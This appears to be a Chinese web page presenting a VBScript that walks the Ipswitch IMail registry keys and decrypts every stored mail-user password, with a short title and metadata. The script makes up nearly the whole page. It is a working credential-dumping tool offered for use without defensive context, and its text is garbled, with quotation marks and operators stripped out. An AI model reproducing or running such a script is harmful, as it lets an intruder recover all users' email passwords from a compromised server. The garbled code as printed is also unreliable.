电子邮箱Imail密码解密脚本
作者：小菜
更新时间：2025-03-03
点击数：
简介：strComputer = . Set oReg=GetObject( winmgmts:{impersonationLevel=impersonate}!\\
【菜科解读】
strComputer = . Set oReg=GetObject( winmgmts:{impersonationLevel=impersonate}!\\ &_ strComputer & \root\default:StdRegProv ) strKeyPath = SOFTWARE\Ipswitch\IMail\Domains oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys For Each subkey In arrSubKeys wscript.echo Domain: &subkey strKeyPath2 = strKeyPath \ &subkey \Users oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 For Each subkey2 In arrSubKeys2 strKeyPath3=strKeyPath2 \ &subkey2 strValueName = Password oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue if len(subkey2) and len(strValue) then wscript.echo subkey2 : & decrypt(subkey2,strValue) end if Next Next function decrypt(name,pass) while len(name)name=name&name wend for i=0 to len(pass)/2-1 p=mid(pass,2*i+1,2) p= &H &p n=mid(name,i+1,1) decrypt=decrypt&chr(clng(p)-asc(n)) next end function 电子邮箱,Imail,密码,解密,脚本,error,resu
